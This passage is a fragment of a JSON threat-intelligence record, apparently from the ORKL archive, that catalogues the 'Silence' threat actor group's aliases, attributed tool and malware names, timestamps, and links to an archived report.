			"created_at": "2022-10-25T16:07:24.191982Z",
			"updated_at": "2026-04-10T02:00:04.895327Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"ATK 86",
				"Contract Crew",
				"G0091",
				"TAG-CR8",
				"TEMP.TruthTeller",
				"Whisper Spider"
			],
			"source_name": "ETDA:Silence",
			"tools": [
				"EDA",
				"EmpireDNSAgent",
				"Farse",
				"Ivoke",
				"Kikothac",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Meterpreter",
				"ProxyBot",
				"ReconModule",
				"Silence.Downloader",
				"TiniMet",
				"TinyMet",
				"TrueBot",
				"xfs-disp.exe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434524,
	"ts_updated_at": 1775826687,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/9b8033dd8d7b1f94aec42ccc965e68b8a2147018.pdf",
		"text": "https://archive.orkl.eu/9b8033dd8d7b1f94aec42ccc965e68b8a2147018.txt",
		"img": "https://archive.orkl.eu/9b8033dd8d7b1f94aec42ccc965e68b8a2147018.jpg"
	}
}